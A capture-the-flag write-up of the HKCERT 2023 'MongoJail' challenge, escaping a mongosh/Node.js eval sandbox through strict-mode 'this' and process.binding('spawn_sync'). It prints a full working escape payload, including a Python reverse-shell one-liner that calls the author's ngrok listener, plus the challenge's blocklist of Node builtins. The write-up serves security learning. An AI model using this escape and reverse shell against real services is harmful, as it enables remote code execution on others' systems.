siunam's Website

My personal website

Home Writeups Blog Projects About E-Portfolio

MongoJail

Table of Contents

  1. Overview
  2. Background
  3. Enumeration
  4. Exploitation
  5. Conclusion

Overview

Background

Can you escape from Shibuya?

nc chal.hkcert23.pwnable.hk 28225

Attachment: mongojail_29b79657d01916b2653c9388d76a53b9.zip

Note: There is a guide for this challenge here.

Enumeration

In this challenge, we can Netcat into the challenge instance:

┌[siunam♥Mercury]-(~/ctf/HKCERT-CTF-2023/pwn/MongoJail)-[2023.11.12|20:43:29(HKT)]
└> nc chal.hkcert23.pwnable.hk 28225                              
Enter math expression:

Upon connecting, the server prompts me to enter a math expression.

Let’s try to enter 7*7:

┌[siunam♥Mercury]-(~/ctf/HKCERT-CTF-2023/pwn/MongoJail)-[2023.11.12|20:43:29(HKT)]
└> nc chal.hkcert23.pwnable.hk 28225                              
Enter math expression:
7*7
49

Yep. It respond 49.

In this challenge, we can also download a file:

┌[siunam♥Mercury]-(~/ctf/HKCERT-CTF-2023/pwn/MongoJail)-[2023.11.12|20:45:47(HKT)]
└> file mongojail_29b79657d01916b2653c9388d76a53b9.zip 
mongojail_29b79657d01916b2653c9388d76a53b9.zip: Zip archive data, at least v1.0 to extract, compression method=store
┌[siunam♥Mercury]-(~/ctf/HKCERT-CTF-2023/pwn/MongoJail)-[2023.11.12|20:45:49(HKT)]
└> unzip mongojail_29b79657d01916b2653c9388d76a53b9.zip 
Archive:  mongojail_29b79657d01916b2653c9388d76a53b9.zip
   creating: chall/
 extracting: chall/proof.sh          
  inflating: chall/Dockerfile        
  inflating: chall/chall.py          
  inflating: docker-compose.yml      

In chall/Dockerfile, we can see how the challenge instance’s Docker container built:

FROM mongo:7.0.2-jammy

RUN apt-get update && apt-get install -y python3 python3-venv socat
RUN python3 -m venv /home/ctfuser/venv

WORKDIR /home/ctfuser
COPY chall.py /home/ctfuser/
COPY proof.sh /
RUN mv /proof.sh /proof_$(head /dev/urandom | LC_ALL=C tr -dc A-Za-z0-9 | head -c 40).sh
RUN python3 -m compileall /home/ctfuser/
RUN chmod -R 555 /home/ctfuser/*
RUN chmod 555 /proof*.sh

USER mongodb
CMD socat TCP-LISTEN:1337,reuseaddr,fork EXEC:"stdbuf -i0 -o0 -e0 /home/ctfuser/venv/bin/python3 /home/ctfuser/chall.py"

First, it pulls the MongoDB version 7.0.2 Docker image, install Python 3 and socat.

Then, copy chall.py and proof.sh to /home/ctfuser/.

Finally, using socat to setup a TCP listener on port 1337, and execute python3 /home/ctfuser/chall.py when someone connected to the listener.

chall.py:

import subprocess

def main():
    print('Enter math expression:')
    script = input().replace('"','\\"').replace('\\','\\\\').replace("'","\\'")
    bad = "Object.keys(global).concat(module.constructor.builtinModules).concat(['require','module','globalThis']).filter((_)=>!/[@\\/-]/.test(_)).join(',')"
    jail = """'use strict';eval('(function('+%s+'){return eval("%s")})()')""" % (bad,script)
    proc = subprocess.Popen(["mongosh","--nodb","--quiet","--eval",jail], stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
    print(proc.stdout.read().decode())

if __name__ == '__main__':
    try:
        main()
    except:
        print('Unknown Error ??') # contact admin if you see this in production

In the above Python code, it takes the user’s input and sanitize it. Then, it’ll run mongosh --nodb --quiet --eval <jail>.

In MongoDB Shell (mongosh), the --eval option will evaluate a JavaScript expression. That being said, we can run the back-end version of JavaScript, Node.js.

Let’s take a look at the sanitize part!

First, it’ll escape "\' character. This ensure that we can’t escape the eval("")’s double quotes.

Then, in bad variable, it concatenates all the built-in modules from the global object and some keywords like require, module, globalThis:

┌[siunam♥Mercury]-(~/ctf/HKCERT-CTF-2023/pwn/MongoJail)-[2023.11.12|21:20:56(HKT)]
└> nodejs                           
[...]
> Object.keys(global).concat(module.constructor.builtinModules).concat(['require','module','globalThis']).filter((_)=>!/[@\\/-]/.test(_)).join(',')
'global,queueMicrotask,clearImmediate,setImmediate,structuredClone,clearInterval,clearTimeout,setInterval,setTimeout,atob,btoa,performance,fetch,_http_agent,_http_client,_http_common,_http_incoming,_http_outgoing,_http_server,_stream_duplex,_stream_passthrough,_stream_readable,_stream_transform,_stream_wrap,_stream_writable,_tls_common,_tls_wrap,assert,async_hooks,buffer,child_process,cluster,console,constants,crypto,dgram,diagnostics_channel,dns,domain,events,fs,http,http2,https,inspector,module,net,os,path,perf_hooks,process,punycode,querystring,readline,repl,stream,string_decoder,sys,timers,tls,trace_events,tty,url,util,v8,vm,worker_threads,zlib,require,module,globalThis'

Next, in jail variable, it looks like this:

'use strict';eval('(function('+<bad>+'){return eval("<script>")})()')

The use strict means all the JavaScript code can’t use undeclared variables.

It also makes all the built-in modules and keywords from bad variable to undefined. That being said, we can’t use those:

> eval('(function('+Object.keys(global).concat(module.constructor.builtinModules).concat(['require','module','globalThis']).filter((_)=>!/[@\\/-]/.test(_)).join(',')+'){return eval("require")})()')
undefined

So… How can we escape this MongoDB Shell (or basically Node.js) jail…

Based on my experience, I knew that some CTFs have similar challenge, and it’s called “Node.js VM sandbox escape”. This vm module allows JavaScript being executed in a sandbox environment. However, it’s impossible to run code safely in a sandbox environment:

Since I know very little about this kind of sandbox escape, I have to lookup some writeups.

Eventually, I found this blog post about escaping Node.js sandboxes.

In that blog post, it mentioned that we can find a module via process.binding:

this.process.binding('<module_name>');

Wait… What’s that this keyword??

In non-strict mode, this is always a reference to an object. In strict mode, it can be any value. (from https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/this)

So this keyword is just referencing an object. In our case, it’s referencing to the global object.

But hold up, it’s different in strict mode:

The value passed as this to a function in strict mode is not forced into being an object (a.k.a. “boxed”). For a sloppy mode function, this is always an object: either the provided object, if called with an object-valued this; or the boxed value of this, if called with a primitive as this; or the global object, if called with undefined or null as this. (Use call, apply, or bind to specify a particular this.) Not only is automatic boxing a performance cost, but exposing the global object in browsers is a security hazard because the global object provides access to functionality that “secure” JavaScript environments must restrict. Thus for a strict mode function, the specified this is not boxed into an object, and if unspecified, this is undefined instead of globalThis (from https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Strict_mode)

TL;DR: if this is used in strict mode, it should just return undefined instead of globalThis (non-strict mode this).

Luckily, the challenge didn’t filter strict mode this keyword.

Exploitation

With that said, we can use the this keyword to get the global object:

┌[siunam♥Mercury]-(~/ctf/HKCERT-CTF-2023/pwn/MongoJail)-[2023.11.12|22:04:56(HKT)]
└> nc chal.hkcert23.pwnable.hk 28225
Enter math expression:
this
{
  global: <ref *1> {
    global: [Circular *1],
    clearImmediate: [Function: clearImmediate],
    setImmediate: [Function: setImmediate] {
      [Symbol(nodejs.util.promisify.custom)]: [Getter]
    },
    clearInterval: [Function: clearInterval],
[...]

Then, in the global object, we can get the process object, which is the current process (mongosh) object:

┌[siunam♥Mercury]-(~/ctf/HKCERT-CTF-2023/pwn/MongoJail)-[2023.11.12|22:09:57(HKT)]
└> nc chal.hkcert23.pwnable.hk 28225
Enter math expression:
this.process
process {
  version: 'v20.6.1',
  versions: {
    node: '20.6.1',
    acorn: '8.10.0',
[...]

Next, in the process object, there’s a binding function:

┌[siunam♥Mercury]-(~/ctf/HKCERT-CTF-2023/pwn/MongoJail)-[2023.11.12|22:10:06(HKT)]
└> nc chal.hkcert23.pwnable.hk 28225
Enter math expression:
this.process.binding
[Function: binding]

Which allows us to find a module like fs:

┌[siunam♥Mercury]-(~/ctf/HKCERT-CTF-2023/pwn/MongoJail)-[2023.11.12|22:10:37(HKT)]
└> nc chal.hkcert23.pwnable.hk 28225
Enter math expression:
this.process.binding('fs')
{
  access: [Function: access],
  close: [Function: close],
  open: [Function: open],
  openFileHandle: [Function: openFileHandle],
  read: [Function: read],
  readBuffers: [Function: readBuffers],
  fdatasync: [Function: fdatasync],
  fsync: [Function: fsync],
  rename: [Function: rename],
  ftruncate: [Function: ftruncate],
  rmdir: [Function: rmdir],
  mkdir: [Function: mkdir],
[...]

In the blog post that we’ve mentioned, we can execute system commands without require by using the rewrote version of spawnSync function in child_process module from https://gist.github.com/CapacitorSet/c41ab55a54437dcbcb4e62713a195822.

However, we need to make some changes:

  1. Change process.binding() to this.process.binding()
  2. Remove console.log()

Hence, the modified spawnSync function is:

spawn_sync = this.process.binding('spawn_sync'); normalizeSpawnArguments = function(c,b,a){if(Array.isArray(b)?b=b.slice(0):(a=b,b=[]),a===undefined&&(a={}),a=Object.assign({},a),a.shell){const g=[c].concat(b).join(' ');typeof a.shell==='string'?c=a.shell:c='/bin/sh',b=['-c',g];}typeof a.argv0==='string'?b.unshift(a.argv0):b.unshift(c);var d=a.env||this.process.env;var e=[];for(var f in d)e.push(f+'='+d[f]);return{file:c,args:b,options:a,envPairs:e};};spawnSync = function(){var d=normalizeSpawnArguments.apply(null,arguments);var a=d.options;var c;if(a.file=d.file,a.args=d.args,a.envPairs=d.envPairs,a.stdio=[{type:'pipe',readable:!0,writable:!1},{type:'pipe',readable:!1,writable:!0},{type:'pipe',readable:!1,writable:!0}],a.input){var g=a.stdio[0]=util._extend({},a.stdio[0]);g.input=a.input;}for(c=0;c<a.stdio.length;c++){var e=a.stdio[c]&&a.stdio[c].input;if(e!=null){var f=a.stdio[c]=util._extend({},a.stdio[c]);isUint8Array(e)?f.input=e:f.input=Buffer.from(e,a.encoding);}};var b=spawn_sync.spawn(a);if(b.output&&a.encoding&&a.encoding!=='buffer')for(c=0;c<b.output.length;c++){if(!b.output[c])continue;b.output[c]=b.output[c].toString(a.encoding);}return b.stdout=b.output&&b.output[1],b.stderr=b.output&&b.output[2],b.error&&(b.error= b.error + 'spawnSync '+d.file,b.error.path=d.file,b.error.spawnargs=d.args.slice(1)),b;}

Finally, we can use the above modified spawnSync function to execute system commands.

To get a shell on the challenge instance, we can:

┌[siunam♥Mercury]-(~/ctf/HKCERT-CTF-2023/pwn/MongoJail)-[2023.11.11|13:53:30(HKT)]
└> nc -lnvp 4444                    
listening on [any] 4444 ...
┌[siunam♥Mercury]-(~/ctf/HKCERT-CTF-2023/pwn/MongoJail)-[2023.11.11|13:53:20(HKT)]
└> ngrok tcp 4444                   
[...]
Forwarding                    tcp://0.tcp.ap.ngrok.io:11075 -> localhost:4444

By doing this, the challenge instance can reach to our netcat listener.

┌[siunam♥Mercury]-(~/ctf/HKCERT-CTF-2023/pwn/MongoJail)-[2023.11.11|13:53:43(HKT)]
└> nc chal.hkcert23.pwnable.hk 28225
Enter math expression:
spawn_sync = this.process.binding('spawn_sync'); normalizeSpawnArguments = function(c,b,a){if(Array.isArray(b)?b=b.slice(0):(a=b,b=[]),a===undefined&&(a={}),a=Object.assign({},a),a.shell){const g=[c].concat(b).join(' ');typeof a.shell==='string'?c=a.shell:c='/bin/sh',b=['-c',g];}typeof a.argv0==='string'?b.unshift(a.argv0):b.unshift(c);var d=a.env||this.process.env;var e=[];for(var f in d)e.push(f+'='+d[f]);return{file:c,args:b,options:a,envPairs:e};};spawnSync = function(){var d=normalizeSpawnArguments.apply(null,arguments);var a=d.options;var c;if(a.file=d.file,a.args=d.args,a.envPairs=d.envPairs,a.stdio=[{type:'pipe',readable:!0,writable:!1},{type:'pipe',readable:!1,writable:!0},{type:'pipe',readable:!1,writable:!0}],a.input){var g=a.stdio[0]=util._extend({},a.stdio[0]);g.input=a.input;}for(c=0;c<a.stdio.length;c++){var e=a.stdio[c]&&a.stdio[c].input;if(e!=null){var f=a.stdio[c]=util._extend({},a.stdio[c]);isUint8Array(e)?f.input=e:f.input=Buffer.from(e,a.encoding);}};var b=spawn_sync.spawn(a);if(b.output&&a.encoding&&a.encoding!=='buffer')for(c=0;c<b.output.length;c++){if(!b.output[c])continue;b.output[c]=b.output[c].toString(a.encoding);}return b.stdout=b.output&&b.output[1],b.stderr=b.output&&b.output[2],b.error&&(b.error= b.error + 'spawnSync '+d.file,b.error.path=d.file,b.error.spawnargs=d.args.slice(1)),b;};spawnSync('python3',['-c','import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<your_ngrok_domain>",<your_ngrok_port>));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);']);

Note: Remeber to replace your own Ngrok domain and port number.

┌[siunam♥Mercury]-(~/ctf/HKCERT-CTF-2023/pwn/MongoJail)-[2023.11.11|13:53:30(HKT)]
└> nc -lnvp 4444                    
listening on [any] 4444 ...
[...]
$ whoami;hostname;id
mongodb
chal25-mongojail-0
uid=999(mongodb) gid=999(mongodb) groups=999(mongodb)

Nice! I got a reverse shell on the challenge instance!

Let’s run the proof.sh script and get the flag!

$ ls -lah /
[...]
-r-xr-xr-x    1 root root   70 Nov  5 14:39 proof_CBg0IiyEoIHTxFLZEaB4mKma9TlC1UmFCsVdnyuH.sh
[...]
$ sh /proof_CBg0IiyEoIHTxFLZEaB4mKma9TlC1UmFCsVdnyuH.sh
hkcert23{WolframAlpha_L0v3z_Shibuya-Yuri_Harajuku-Furi}

Conclusion

What we’ve learned:

  1. MongoDB shell jail escape & filter bypass